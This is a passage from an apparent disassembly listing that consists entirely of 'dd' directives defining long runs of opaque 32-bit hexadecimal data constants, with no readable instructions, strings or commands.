0F74AF5F1h dd 35A9E90Ch, 0B60E2A95h, 0AB6883CCh, 0D861EA3Eh, 0FB5F541Dh dd 918F975Eh, 0BC48DFA4h, 58BDA2CCh, 0E6C11CAEh, 92EEDF05h dd 0BB75256h, 0E79682F8h, 0B4F21C40h, 41A63090h, 5B4CC731h dd 1343052Fh, 0D9026AD1h, 66D72DE9h, 0F0AF9CF2h, 5B4EDA31h dd 0D6058600h, 0F111C417h dd 7009421h, 931BE56h, 294F822Ah, 0E4E9B082h, 0BB04A370h dd 0D3E7EFEh, 4AA80182h, 52457CD9h, 0D2811C58h, 0C76A4201h dd 37427E74h, 2F0B0A70h, 6288350Fh, 8E7C105h, 1CFCE201h dd 40F9395Ah, 0F689053Eh, 83E608D6h, 47F2B27h, 0FEC8D094h dd 7163F5FDh, 7A2E7252h, 8AB0E8F9h, 88D25B42h, 0EB27BE1Bh dd 76BAA0E4h, 5C29F05Dh, 0BA7DE0D1h, 4A8BFA17h, 83C82C1Ch dd 8CBE02ECh, 66FCE904h, 1F04CBADh, 6517D78h, 0B136981Dh dd 0F42CB295h, 0DB26B771h, 0CBBFE330h, 0B9B04C6Dh, 4E877C2Dh dd 2C2E15Bh, 84A97C52h, 24FC4F9Fh, 0AA89558Bh, 0E910C7C6h dd 0BA1D3E52h, 54928B74h, 0E4299BA7h, 0C31BA85Dh, 0C2A4BF57h dd 0F76760A1h, 0E90DC2A0h, 427A4CABh, 0E188781Eh, 0C6CAADF9h dd 9CE92763h, 323410Ah, 812010Eh, 2B2481D9h, 0BD638431h dd 2E875D01h, 57C68A27h, 58809D19h, 377562ACh, 4CF94BF8h dd 10256891h, 0B5FC6421h, 62017B99h, 8AE14874h, 8180AF32h dd 0BE2D64F3h, 0C69B87Ch, 6B7D799Ah, 8E2E4C0Ch, 0D81546CBh dd 3A5627F0h, 0C2395E64h, 1A4AD6E9h, 69598509h, 0C317ED4Ah dd 78B25250h, 0A185D04Bh, 22D3C7B2h, 78D45238h, 48E9C1F0h dd 53A0F20Bh, 5E2893BBh, 0E300FCB8h, 583D7C2Fh, 0C443DBF7h dd 0C50C78E0h, 0C311B0EDh, 0E5978B02h, 0CA3BE9A0h, 62C17952h dd 210F0BB3h, 2CD8281Bh, 60EE53D1h, 0B1CD333Bh, 0B26395A0h dd 81D9290Bh, 0CB22C600h, 0E6FD5B55h, 8579806Ah, 4067DD9Fh dd 9ADBE918h, 0C9FE07A8h, 0A235F180h, 0A6D343DAh, 0E0027DA4h dd 0E263BF3Bh, 5566131h, 1884FE50h, 2B315C88h, 33166817h dd 8FC9516Bh, 6D493F5Ah, 6E10AA0Ah, 3716E003h, 0C4C8DB0Bh dd 0BDE60012h, 7AC14D1Eh, 353B3EB0h, 2E532618h, 0EAA01A1Ch dd 0ABC6003h, 802EB652h, 2812EE7Eh, 16B65AF0h, 401E7610h dd 7B03EBCCh, 136B266h, 0D4A6F2C3h, 0CB6806EBh, 1627310Ah dd 78643A54h, 8AC63CAFh, 0E9485A82h, 0DCDCEBE3h, 27BE1B6Ah dd 51450BFEh, 0BF526307h, 68AD341Ch, 0BB31492h, 0F60DA401h dd 6CBBE92Bh, 412850BAh, 17380524h, 631FAF00h, 2DD931EBh dd 0E18234E9h, 0C2D61C87h, 0BD0C0850h, 0A9B6E298h, 5AF18813h dd 0F6591600h, 48C280D2h, 0ED16253Dh, 0E9490328h, 0AD504130h dd 11B84E34h, 4B5B10Eh, 0C203BDA3h, 998BC580h, 43791EF5h dd 0B8E8DB40h, 0E9C80BDEh, 47520785h, 8B68C2EFh, 1C4A7721h dd 4165F198h, 0C93D300Dh, 16B3141h, 0F12E1595h, 0C682705Fh dd 62583A78h, 3CD03EC0h, 0D9F71264h, 521CC313h, 0D47D9BC3h dd 505EC2CAh, 4AF5FA89h, 0F29F89BAh, 84FB7A64h, 39685919h dd 5F48BDA3h, 0E89900D3h, 296A492Eh, 158C109h, 20CA8FF1h dd 0F71B1510h, 0CF90C0DFh, 0E97AA1C0h, 4984A44Ah, 0C2184A81h dd 3AE78100h, 378A7216h, 20C4A61Dh, 7B803F95h, 4C25351h dd 5FFE3154h, 0F69A8101h, 4B6D7F2Eh, 46220609h, 0B3F5134Ah dd 8C299399h, 425C27DAh, 7FE953DDh, 0E90E855Bh, 0CEAC3883h dd 565157C0h, 4575B268h, 1A41325Ch, 0C9A334E8h, 7BCEE39Ch dd 1062AD9Bh, 817B2C4Ah, 22368B0Dh, 68B52D2Ah, 10A9A733h dd 81548A14h, 76B0D85Fh, 0F1F11295h, 89E9613Bh, 92622C27h dd 0EA23A772h, 2CB559A2h, 169884Eh, 3091BE00h, 62090522h dd 5C33F4F3h, 0FC62B856h, 2650F9DBh, 4A6610C9h, 1E75A080h dd 0F061725Fh, 0E907A0EFh, 282394CFh, 6E011233h, 207B0902h dd 0DA257043h, 6786428Ch, 0CE45A779h, 47850E96h, 71D12182h dd 0C95394D8h, 0C37AB304h, 3DBEFC0Fh, 7F2701CFh, 3EFC16Ah dd 146DE0E7h, 47493023h, 7C8E8BAEh, 5B57DD12h, 16D84A0Bh dd 0C8293048h, 0FE79B15Ch, 3D4F2330h, 60CE142Eh, 12C70E39h dd 2A641E10h, 0AE806A64h, 5CF8296Ch, 0C31D2A5Fh, 7664412Bh dd 694960E9h, 163012AFh, 0D2C88EA9h, 3B90C42h, 9E48F989h dd 58CC4D64h, 9D46D8C3h, 8DA0BDCDh, 4D697F08h, 0ADDE893Eh dd 4C7442B9h, 9A92F696h, 0FC881CCAh, 8DE7DE5Bh, 489762C4h dd 0DE2D6899h, 821C9A4Fh, 17C1D9h, 8E18982Dh, 0A416D24Fh dd 26A6FC00h, 0A25E6AC8h, 40FA5C98h, 0AE4CBDEFh, 5129643Bh dd 87080097h, 0EA49E9FDh, 3462445h, 0BCA9893Bh, 4F5546C3h dd 4B9A0E1Fh, 88FB54C4h, 7D4C7221h, 0A76FCABDh, 4CB80AB3h dd 522C01E3h, 0D43B3B02h, 0E3F25930h, 2E4DE958h, 4E284B61h dd 95F4BA09h, 2EB0934Fh, 4FC368h, 9582A34h, 234BE9C2h dd 40D997D0h, 1213F686h, 0F6B01B32h, 30CD16E7h, 0EFF50092h dd 28B70DC2h, 0D4FA3133h, 0B2E56Ch, 0CECBD94Eh, 9DAA5F13h dd 0A0D0D203h, 98B7F020h, 2F174160h, 5F1D8613h, 2FF4DD17h dd 6AC741EDh, 0E9D57249h, 79DDC5F1h, 64206B90h, 2056C458h dd 48366800h, 55451D9Ch, 0EDA2CEA8h, 94146112h, 50267D2Ch dd 0EC9718B4h, 81025E7Dh, 5A4447F6h, 34CDE5Dh, 37541535h dd 0E9C6100Bh, 5FAE416Eh, 99074638h, 0DB27C844h, 0B80112FAh dd 7796A3EAh, 221C789h, 0F0051981h, 0E80E8F23h, 1A9F2A10h dd 0B69C2123h, 0C0FC5362h, 6FDB83BEh, 78B174FEh, 8882D314h dd 0BCC6A042h, 6E95889h, 0BFA880B5h, 0C4AA66AFh, 0E239105Ah dd 5BD297B7h, 0A2124051h, 25B42455h, 0C663256Bh, 612BDC0h dd 12560F0h, 4F0271EFh, 681FC76Fh, 0C36A9813h, 8E3C11Dh dd 4B9BEB9Bh, 0BBCB8188h, 474D7404h, 97F19EE9h, 660D316Ah dd 0CF734129h, 575801B6h, 0EAC87769h, 21DD2438h, 0A304DB17h dd 0CFF93969h, 143E8C84h, 2FDE1269h, 5DA95A34h, 5862DF4Ah dd 19D85B74h, 0D06DB31h, 4B25B55Dh, 5921F74Bh, 25DA6BB7h dd 0E0E9521Fh, 4798EA2Ah, 0C795A670h, 8BD626AFh, 0A080E9h dd 0FC4ABAB8h, 21A6D6Bh, 0FC0B24B8h, 6BC6EBA3h, 90350720h dd 0B8CF40B8h, 0DC0FD30Fh, 0C04B76Dh, 0AF2CBAh, 16B0579h dd 0E9271BB0h, 523C613Dh, 9AFF5774h, 59BF224Ah, 9020E377h dd 5585B2Bh, 167C311Eh, 510138ABh, 0BBF4B40h, 21870630h dd 7E5D5300h, 0CC16526h, 53EA2498h, 79A2620h, 0E923A962h dd 1DC709F8h, 0E4A9173Fh, 0CC540A33h, 985CA4BBh, 455C67EEh dd 0ED7CD65Bh, 0EB082FE9h, 43202EC6h, 6060AA3Eh, 2EF9AA0h dd 0DA21508Ch, 5356A3E9h, 0D8DA2C18h, 0B2520251h, 2A586804h dd 0B3034966h, 0B1EB803Ch, 0C1029AC0h, 0A7766E89h, 559A885Ah dd 0BA54B560h, 0CA3485h, 96E28133h, 0E959D14Fh, 6925BB24h dd 51C20182h, 0EB2940B9h, 0B850006Bh, 2B3C63A7h, 91B23EE9h dd 7E72565Eh, 7B90425Ch, 64E42F56h, 39EE810Eh, 1402217h dd 0A86C2FEh, 27170B08h, 4F7D49A6h, 0E046250Fh, 6606498Eh dd 4DBA34DCh, 22E9160Bh, 0DF9CF218h, 291D3849h, 0A44CE0DBh dd 0C78BC031h, 62A730AEh, 213E70F3h, 4D59CD06h, 0B252AE9h dd 0F828DFB7h, 407F988Ah, 0AFE9692Ch, 84D2F05Ch, 0F5A05BDEh dd 0BF09B52Ah, 0D0F6B383h, 0C975C1A4h, 53D79774h, 0C3CD4681h dd 8C30C354h, 350749C1h, 415E6FCEh, 0E468ACBBh, 507361h dd 0DEF667B6h, 76B75350h, 80D70E6Ch, 0F765F1CFh, 6A77D631h dd 1199E91Ah, 0E6B1503Ah, 31131F06h, 80C353CAh, 0EE305B8Ah dd 4C95299h, 290BBC8Fh, 9351F007h, 8B1E6FD4h, 0A01355E2h dd 95EE37B4h, 0F5ED6664h, 0D4EE358Dh, 0ACCB41Dh, 41D63257h dd 0D52B28C9h, 5E5F04E9h, 8AA8E1E9h, 6016B748h, 4F65B2ECh dd 5097C822h, 0DC882DD4h dd 6794940Bh, 0CC5C507Fh, 3CF57EFAh, 24E9A8FDh, 6399239Bh dd 353FF1F7h, 8D0A2556h, 0E5E34DFCh, 2C1CEBACh, 22A399D3h dd 40AD02CCh, 1D233568h, 0AF016493h, 0CB882A45h, 61884017h dd 5A6422E0h, 0A7D48B6Ah, 2526F5E4h, 0F1D0B807h, 6D5C980Ah dd 0F91A8E57h, 4BF5C83h, 8669585Dh, 883E2D8h, 687230D5h dd 25912DBDh, 0FD000BA8h, 0BA50D71Eh, 5C6B034Fh, 0E913E71Bh dd 0E81A8549h, 99AB2C87h, 4852D242h, 81B3310Fh, 297F2089h dd 0AB31F34Fh, 0BE248F66h, 0E5E6822Fh, 3B2A1391h, 0D45AEEBCh dd 74451300h, 0E9302030h, 0EB913895h, 712CE1A0h, 0E40A95Dh dd 0C15AF574h, 0FD22A10Ch, 7B0F0103h, 0D1A60A2Bh, 0D10820AAh dd 0A37C140Ch, 0CA9A8D20h, 5DC51859h, 99CBA8F1h, 0B502499Eh dd 0E72BC8E1h, 171A1E43h, 972D41A8h, 5EE2002Fh, 292A1805h dd 0EB5DEA28h, 0D1094D76h, 0C8D30114h, 0B166EED3h, 9F16BCCEh dd 45A6CA6Ah, 12E50AB8h, 9AC91232h, 0A5ACBD45h, 0C4185D3Fh dd 0CB90C75h, 692E3005h, 39CBD131h, 0E8E91661h, 72D38D2Bh dd 8D2F02FFh, 69A9211Bh, 73EF1046h, 4BF15128h, 0CEFC124Fh dd 0BE560148h, 1D6D1FE3h, 0A5963B78h, 484CD866h, 0C77E912h dd 0F04AC1ADh, 1D069923h, 7C294E79h, 0A46CF810h, 4ED5B00Ch dd 31DA0403h, 81EDD8DDh, 0A2AFF51Dh, 0C3E09093h, 0E4829738h dd 89615749h, 8C6800FBh, 0BE4BB122h, 22DA4ABFh, 60F95B4Bh dd 0F8BA5243h, 9035E860h, 0DFB69BDh, 0BC83C809h, 5D73FEA1h dd 8423018h, 95642CAAh, 0DE767A3Ah, 9C3407Ah, 22CF047Ah dd 0F20F76E9h, 0B4847E9h, 9053FDE9h, 0C05AD5AEh, 0FE410BFEh dd 0ED37C135h, 8D31203h, 0EF241763h, 0F2C0265Dh, 0C3984E4Ch dd 10621768h, 2B6BEA59h, 68853B59h, 8FB31E6Fh, 26501553h dd 83F85430h, 710A5CE1h, 65BF57C0h, 7679D603h, 0C25FFB27h dd 80F959CAh, 656036BAh, 0D3163107h, 2904535Ah, 2D00B21Fh dd 9E42BBCh, 3AA8051Dh, 0E82924C7h, 503E07CAh, 914CE911h dd 7BE890D1h, 66775312h, 0DA20812Dh, 4FCB5ED0h, 271DA257h dd 0CF88AB00h, 0FE2C5A59h, 671FD1C7h, 5413C06Eh, 0B24A7DB3h dd 20B693D9h, 5D779B4Ch, 5907203Ah, 3758E630h, 5D12CEF0h dd 0B06A4D4Fh, 54777F84h, 56D3D2h, 0EB803EB2h, 4B28493Dh dd 82DB98F1h, 1C5A06E3h, 0B60F950Ch, 0C4877CC0h, 0B859E983h dd 505E13D2h, 0D32FC637h, 6401D58Fh, 0E9028966h, 0A599BB1Eh dd 8847792Ch, 117E2B5h, 41A403E0h, 0B0D2202Bh, 75AF3F12h dd 0BC5098B8h, 7E49674h, 0B5BFA28h, 60EBA18Fh, 0E1402A49h dd 5A734DDh, 6E98907Eh, 5B948898h, 85685362h, 9D805B57h dd 4C187D12h, 8A5E5D2Fh, 21662546h, 462CC6AFh, 3E441D3Fh dd 2CF1A4Ch, 0ABC3F82Bh, 3882E9A0h, 8F4ED891h, 0E9E4AB86h dd 0CA3AE5E9h, 0EFD85F6Ah, 0D1CF4A67h, 3A1B15B9h, 3C58DE8Fh dd 89AC1524h, 0EFD6399Eh, 5AB8F5C0h, 8FE9888Eh, 78737469h dd 457F8220h, 0EB50A7BEh, 18333159h, 568ED5D6h, 0A7C0B68h dd 7E405104h, 0CE036BAFh, 0F7814F5Dh, 6908E9A1h, 189DE7D8h dd 0C4AB768h, 831F638Dh, 0B52CC14Bh, 73AC700h, 0A029306Ch dd 91F089FFh, 0AD80936h, 0EA970066h, 0E3BE41BCh, 30B20401h dd 752D688Bh, 0FAF46623h, 0E5BBBF3Bh, 543958D9h, 641DF013h dd 6521FE40h, 605E7BF3h, 0FDB0B80h, 75DA8530h, 0BC18B668h dd 44F56216h, 8F09EB64h, 81485C72h, 0B8505A61h, 0AA0147ADh dd 2A4E3DE9h, 80EE5340h, 0A16FB30Eh, 1B2825C9h, 0BE00844Eh dd 0A65C3C28h, 0FF8F2766h, 0BD512012h, 0C2947949h, 890BDAC5h dd 668A0204h, 0BDEF7BEFh, 2C80448h, 0AB24E99Eh, 0D831AD82h dd 0DACBC052h, 0F592508h, 4CE69D40h, 35D71C17h, 98D0050Ah dd 1A03C482h, 0C8017D74h, 7F863C0Ch, 0E7E83013h, 0D9290E09h dd 0B8C1C300h, 1F485249h, 7D5706FEh, 0D01E24ECh, 1C68081Ch dd 0A2843014h, 511FB77Ch, 0CE8FE6D1h, 28646CE5h, 0FF1C03EEh dd 0F1019939h, 0E307EE2Ah, 1F70BB98h, 44351425h, 626874B4h dd 4682EF4Bh, 3B248691h, 3ECDD435h, 304007AFh, 1D480BE9h dd 91EAC3ABh, 427AD242h, 5B3209Ch, 753B3CC7h, 70AF0F79h dd 2D475F9Eh, 2928A160h, 78ADAF0h, 0FA122028h, 97E919D0h dd 0DDD76119h, 0DD6765A9h, 0A3D570EAh, 7ECED649h, 9D26102Eh dd 0AC1A4240h, 6D1F71Dh, 0CAA0252Fh, 0B65C2467h, 0D7685041h dd 542D3578h, 40586331h, 8B28F29Fh, 2E96716h, 3C3E6AB1h dd 1024689Ch, 5C6C9925h, 234D03F3h, 1BACE944h, 0FCC2AB64h dd 2F7B468Ah, 0F1A1DA8h, 0B028E251h, 0E9F134F1h, 2810BD30h dd 3959232Ch, 0F326AC04h, 0C17BBAC8h, 39685C10h, 168F3656h dd 0C704F0B2h, 0DCADCBBFh, 0D21D3110h, 0BFC039B8h, 57BD10CFh dd 64D7F726h, 0EF810507h, 0A9A17D50h, 2753B056h, 0B720442Bh dd 4C285F65h, 0D5D242F6h, 0A25079E0h, 0BE724E9Eh, 0E95450F2h dd 52B59427h, 0EE801DF7h, 1E316EB4h, 0B3534692h, 1EDCE6B1h dd 0E8B2CC30h, 91FB4EE9h, 7B04EFD0h, 0C0B5E045h, 0A9C03E94h dd 9DFBD55h, 29198032h, 0D55D8F41h, 0EDF5455Ch, 321141E0h dd 6858C10Fh, 8C3A7FB9h, 153EA942h, 0E843A5FAh, 0F751082h dd 0CE9A522h, 936E50B0h, 3B1F1916h, 0E6714001h, 3F28C4E0h dd 5FBEE90Bh, 3D73E120h, 2CF74411h, 0CD9B08Eh, 0E94F0AA8h dd 81DFB9E5h, 5047AA2Dh, 5296E1Eh, 9764A330h, 64599387h dd 3B57AC41h, 7D6A8FBEh, 2048493Fh, 1CF68110h, 0A7DF0F5Eh dd 0A5A4F331h, 0C1C0935Ch, 3E6911B9h, 628C4228h, 2C11710h dd 2055D229h, 8F6B3BCFh, 3DB80220h, 904160F3h, 4AF482ABh dd 98833939h, 1F069EF7h, 137030E9h, 42EEB83Ah, 4838D700h dd 506E8C1h, 0B9190039h, 76402D60h, 7CDC619Ch, 5C987209h dd 196F166Dh, 649F9E4Ah, 0F94561Bh, 82419B50h, 578C2157h dd 171AE789h, 0F8B4C9E9h, 829193E8h, 5A7C2120h, 5414E902h dd 225C164Dh, 4D48C299h, 6900A835h, 42056FADh, 0F426E229h dd 0FE4012DBh, 3012015Dh, 34479701h, 87957380h, 0F1875E9Fh dd 45EB82h, 0D83362BDh, 5BFE7D5Ch, 0FE88D707h, 0FCF69272h dd 0F0FBED1h, 7D697636h, 4C9DB0D8h, 0F64A9503h, 0FA97BBDEh dd 0C1D4B7E1h, 10AD6AAh, 0A52B1774h, 6295EC7Ch, 63A58C9Eh dd 6BB8A46Ah, 6AE90840h, 1A6A3BA4h, 0ECABFE7h, 7052CC00h dd 6BF37C5Eh, 7C087410h, 0FC20C495h, 28832CAh, 0B56B2642h dd 9F62A2B5h, 7B2DFFC9h, 1B103D0Eh, 0F2810F2Ch, 4DA86470h dd 2D5700ABh, 0D626E2Eh, 0C5C0537h, 0FB6408Fh, 7C296C42h dd 0E507A3E8h, 1BA8111Eh, 914B3998h, 72684602h, 403E9A4Ah dd 0E03E5CEh, 0CE357B5Ch, 2D778200h, 0D9623C0Dh, 58903Eh dd 45B3685Bh, 0E0B920A8h, 14202838h, 0DEE1D1h, 632E232Bh dd 1759CD29h, 106E5C1h, 1E30FF21h, 5BDDF015h, 2AB471B0h dd 501A526h, 56AD740Ah, 0F6D2FD61h, 1EA626E0h, 0EC8009CAh dd 6841BC54h, 63366EB8h, 0F822C60Dh, 886205Ah, 54EA6BFh dd 0B2B11EEBh, 17AC2C80h, 660DC001h, 0CDB0028Fh, 575D01E3h dd 894C307Fh, 1045BDFh, 51A7E9FDh, 293CF2F9h, 0DE456036h dd 9704EA3Ch, 0D5C94361h, 4CE45D20h, 14819FF9h, 0F144BF65h dd 0D3108250h, 7F771D67h, 0EC204289h, 0C1612311h, 9A05ED28h dd 378A84BFh, 0F00CFE04h, 0AFD252FFh, 4F209DD0h, 12D209Eh dd 56967596h, 122A0F91h dd 2078B800h, 48314600h, 7BC92D40h, 920761C4h, 2AC15EE9h dd 8842569Dh, 0A77FD3B2h, 0E99C2DCDh, 0C9C95417h, 0B352C5E0h dd 54500A99h, 47BE0BE0h, 27A8D916h, 1F3F0E3Fh, 0E1CA2720h dd 13843B78h, 89C2B3E9h, 0E4C5F7CBh, 22A45ABCh, 8293FF69h dd 9269E71Ah, 2936453h, 7A0845ECh, 8871348Bh, 0E9515760h dd 70AE6BD7h, 2B5BA711h, 13A4C8Dh, 0BF38C88Dh, 9DFA4140h dd 223C06D5h, 949DDC56h, 0DF30343Bh, 8A4CE21Ch, 2B0BC851h dd 2BF26Ch, 2CFC18F7h, 315DEA89h, 5A06849Dh, 0E701C91h dd 0C9405EE1h, 0C5F6D59h, 51DEF754h, 0E44EDD90h, 0C223484Bh dd 3E98C1E8h, 94069F26h, 0DC7E8B4Eh, 0A50C6409h, 459F8087h dd 9E67C02Ah, 4FF38079h, 56319508h, 939E925h, 4B5EF400h dd 220E382Ch, 4B387604h, 228E08E9h, 0AF4C804Bh, 0DA12836Ah dd 0EC152958h, 51551FB9h, 40392780h, 0A0495941h, 2673D1F5h dd 3BD2C8Dh, 1AD6B674h, 775CF1DAh, 326AF32Eh, 65900A5h dd 3E817AABh, 8698E4EBh, 334DD847h, 1644C15Ch, 0B522E48h dd 0B20BDBECh, 4D52A6EDh, 715A434Ch, 0A731E597h, 0E90984E5h dd 588CA4D9h, 0B8828FF1h, 1EE5044Ah, 8A0587Ch, 0C66769FAh dd 2710EB5Fh, 0A30144A7h, 0E4EFCA81h, 4D13B747h, 0F588907Ch dd 7630F68Dh, 4BED0B17h, 3A0384C5h, 2307E0DDh, 0C34456F6h dd 0D6F723h, 8265EDA8h, 0CAF9E923h, 0D360BC9Ah, 0E54C707Eh dd 15A121Ah, 0CF0300FBh, 5F367119h, 4787E917h, 49AEEB4h dd 4510FF0Ah, 0A600EEF7h, 11E1A636h, 5DEE2F31h, 147F3C62h dd 0E95C17C0h, 59728245h, 506B007Fh, 4E337223h, 0C7F1F405h dd 0E90141E1h, 0AD5E2413h, 307F832Ch, 0A3840F03h, 0C6E300C8h dd 786B65B2h, 0FB6CEEE9h, 0B90580D3h, 68C52531h, 180F7526h dd 7851AB32h, 0D5BE2D90h, 0A46F34A1h, 10FF383Dh, 80175D98h dd 0FDEB04EBh, 776ED810h, 0C28BE260h, 5EBE53FCh, 962CC92Fh dd 180E9336h, 58E30603h, 0D064C12h, 0EF16497Eh, 4966C902h dd 207D5546h, 0F5543069h, 0F1E902Eh, 10CB2C61h, 0C0E4D9CEh dd 3FA6C935h, 0AFD2A04h, 6D595431h, 4FE485D9h, 0B9517D40h dd 18FC0656h, 0B58BE1Fh, 1497CE29h, 7C57A2A0h, 4066C9D4h dd 59CFE93Eh, 51120FACh, 0F68BBF86h, 24DBD0D4h, 3B59648Ah dd 5980564Ch, 50F0E180h, 2C13B00Fh, 77AEEFFh, 667058C1h dd 0C443EFE9h, 103BBFB7h, 0F33430B1h, 0E807AAB8h, 0C9BEEC56h dd 2D0481Fh, 2962E191h, 49147CD1h, 68563723h, 4115ADD5h dd 9A3CBAFCh, 0D90AA5AAh, 5229C8FCh, 0E9CE9855h, 0A320B784h dd 514669C1h, 0F9296214h, 0D50841E0h, 6FFF39B0h, 0E42CCB8Ch dd 0C2681886h, 59F6D509h, 82C3C0A9h, 8F6AD780h, 2E324072h dd 6C4C3E32h, 855FB458h, 0B455F8D5h, 92EBFDC8h, 0D1E48A8Ah dd 4C9149FCh, 401B0CEAh, 0D1B888C7h, 0B4C5802Eh, 734BE81Fh dd 4A55544Dh, 501110E7h, 85132E5Ah, 8018EC1h, 4E585587h dd 0E102FE71h, 18A24446h, 56DE30F3h, 6DFC7EC6h, 92436159h dd 0CF4092F2h, 2FDB59BCh, 4B08B86Fh, 0CFE978ADh, 0B6E979Ah dd 0C2B087DBh, 784C6D23h, 10533FDFh, 6078BDE1h, 0D4DE6CAh dd 4BB84A3Ah, 8EC4E7D3h, 66659DC0h, 811D0157h, 804059CEh dd 9FA23003h, 5F837626h, 0F1E5BA1Dh, 9EAE48CAh, 0CBC4D25Fh dd 4E833BBCh, 685CE741h, 0CC2B3416h, 1E45EF6Eh, 674C22BCh dd 5F58F80Bh, 884E4F07h, 71189920h, 0EDFAF528h, 0EF82B5BDh dd 9B4B17E9h, 0AB2E99C8h, 0E5814C05h, 0D0C06D53h, 1845D5F7h dd 0BCDE15E9h, 301E58B7h, 5A975BFAh, 545E4082h, 0B2DEE9DEh dd 1EF1298Ch, 1D4BECC1h, 0A8010279h, 0AA0883B5h, 63D032h dd 0E49465B9h, 59CF0149h, 6012C29Dh, 3EAB7478h, 0D379B59Ah dd 0BD8AC53Ah, 6964848Eh, 0B2DA8805h, 0CA80C067h, 13E2C06Ah dd 0B4D66808h, 0CE41DB5Ch, 41479002h, 0F3C04432h, 0BDB20E52h dd 0D24DDAF6h, 0EA80D809h, 0F2383B73h, 0BED32EC5h, 18AD4A5Ah dd 0F8C3283Eh, 22DC9850h, 0EE07219Eh, 2EFA7EC1h, 39E86FB4h dd 3BABE2Eh, 68577736h, 9754258Ah, 3E281C61h, 2F281FCh dd 0CE72752h, 7458AFE9h, 1028C39Eh, 0B9027C43h, 2D667FB8h dd 5DB5B340h, 0AB3B4C28h, 28EFE950h, 5FF9210Fh, 810600C1h dd 266A37E1h, 92642E0Bh, 4CE7ADF8h, 56088E5Ah, 5D2FDA8Ah dd 6FE8AB27h, 0AE11CE05h, 771AF031h, 4A016FD8h, 0CDCD54h dd 2F41E90Ch, 0C920489Fh, 7D3C9AD7h, 0A2FA3432h, 0A561EC0Ch dd 2F92D20Bh, 0D0FD4B51h, 5C68E9A5h, 0A4C051A2h, 6670B5BCh dd 0F658E513h, 0B5AFEFE0h, 0B3E932E0h, 0B70E709Eh, 66FC02F3h dd 55A05F5Bh, 80C4FE04h, 0D4E779EAh, 0E63F28CEh, 6EE0558h dd 0B038E9h, 916497BDh, 484A8F25h, 31D1ED38h, 3E2CBA15h dd 0D80F0433h, 0FE3F0455h, 4F411AF4h, 9D839BCh, 0ED327A06h dd 130C5B52h, 68834B9Ah, 0CDE28498h, 5E69F996h, 0B10A641h dd 312F3B5Bh, 2C44FF6Ah, 912B2A06h, 0EAC1875Ch, 0AC25E507h dd 0CF3117AEh, 124D3A1Eh, 0DEDD12ADh, 914F1630h, 2F8257Ch dd 0CB80350Eh, 0E5F36171h, 0A2F65E9h, 138D5D99h, 27690AE4h dd 5C3C10A3h, 3577457Ch, 94CD29C3h, 492D8548h, 7F2F9020h dd 1631260h, 8B110DEh, 8F5A1C69h, 0A18CEC96h, 7EB3961h dd 609876BFh, 0C30A6F01h, 7C1C3008h, 676F1A6Dh, 1302AEACh dd 8253DA3h, 0A1A7AAE8h, 52D4C9h, 903EBAAFh, 0FA89000Dh dd 56B12D5Fh, 5053894h, 33CA27E8h, 0BEBF71A0h, 0E0C10732h dd 34A0F003h, 0F77F02A8h, 0D5CB3504h, 9BC29761h, 52849058h dd 7A11468h, 0A27D549h, 0AFD446CAh, 0D7F20112h, 66141ED0h dd 4E225931h, 0B5295B5Bh, 4FD9882Fh, 0B6EFD12Ch, 29173710h dd 0C5CAE2C5h, 0F4B825C9h, 0E4196596h, 2FD53797h, 95C1F46Bh dd 62241477h, 8C714A29h, 1E741F4h, 0FEE0E280h, 0CC798C2h dd 4D3F689Ah, 0AF67298Bh, 0C30458BAh, 66EFEAC1h, 0FEF141DEh dd 0D504982Dh, 82359A09h, 604A10D5h, 125931AAh, 9322F87Eh dd 69931DECh, 0E986FD2h, 4EAFEF0Fh, 0DC53A409h, 0D6AE32AFh dd 1B544BE9h, 68E1616Eh, 0ED63460Ah, 5A09E65Ah, 0AEC19AD8h dd 0E94DC4F4h, 2012F13Ch, 269E11AAh, 0C6294F3Bh, 0ECD34963h dd 0C6E9A094h, 23A48245h, 6702C797h, 0FDF5D2F9h, 0FB759877h dd 1AE983EEh, 0B28D24A0h, 0F2250598h, 10E3F056h, 9C2308Eh dd 0D9EFB551h, 81590045h, 91EA5CC5h, 0E67548h, 33995876h dd 97A5F3E9h, 563CDC46h, 0A305B768h, 0F7052574h, 5614BFD3h dd 9CA05C8h, 1ABEC23h, 6D6B0520h, 0F9E9C8F2h, 0DF2E0EBCh dd 0A4CF472Dh, 881C6442h, 625686Ch, 0A2401202h, 0B0E5E73h dd 5F41EC76h, 376FF821h, 0B92EE576h, 0A9BCD291h, 0B03E9C2h dd 0EE80B151h, 0D9550DE7h, 99109731h, 0C1802810h, 0C8F4EDE8h dd 0B6C99891h, 5AEE6A74h, 2A65186Eh, 0C4455A0Bh, 0D508D6B1h dd 123517A6h, 3BEDA4B9h, 79377062h, 88700B43h, 9B09507Eh dd 239C36Fh, 5E0C09B4h, 0C908D05Ch, 55E18A9Eh, 0CE2B02BDh dd 3C6E65A8h, 0AC8448F2h, 3473FB0Fh, 3EB8E159h, 5250312Bh dd 5A1F9754h, 0B0DA72C5h, 0C8B95103h, 0E990BA7Bh, 379A1D95h dd 8001ED39h, 0EF882EC5h, 7CFE2059h, 2CF62E5Bh, 0CF051C02h dd 973D02E6h, 0E43607D0h, 0BF70B9E9h, 5BE319BDh, 9F9E91F0h dd 86057F20h, 4DB1D906h, 0AFBBC72Dh, 120268C9h, 2577F22Dh dd 73717DE9h, 35C06882h dd 0EF6D605Dh, 5C028BC6h, 0F2456ABBh, 1D5540Fh, 17B654F3h dd 2EA879E3h, 5815A0Bh, 48D50679h, 223A6E31h, 18486436h dd 662C2904h, 3510F752h, 48C9BA02h, 654011F3h, 0F53F10C6h dd 580B0154h, 0C2314506h, 16012DD4h, 0B81AC516h, 0C3407005h dd 59C90781h, 6F0E4C44h, 0CECF5D81h, 0D260D49Eh, 0DEEA61ABh dd 0C131FF48h, 9D942FFEh, 0CB94B914h, 34FA60CBh, 1F7307Fh dd 0B37C2B0Ch, 0B1E95D13h, 8108D3A1h, 4F4D16DFh, 8477121Eh dd 131BE06h, 976A5EE0h, 0BCA2252Fh, 0F5B08308h, 6AC412F6h dd 0C001B41Ah, 5E349606h, 0E686CE31h, 8A451411h, 0F2058B20h dd 905A193Bh, 73916EFh, 0D400200h, 25542384h, 4AF10005h dd 4D2D13A3h, 0CF5C1504h, 0BDAD20CDh, 0A5CA3F4Bh, 584D9150h dd 0C51E522Ch, 8E423C68h, 44935E9h, 0E15C25Ah, 3CFC5005h dd 1D680DD8h, 6F352F62h, 0A78CDBE3h, 0B34227E6h, 2A9D2A1Ah dd 0AA17450h, 6F022B3Fh, 0DF1C4709h, 9D13C2B0h, 588214B1h dd 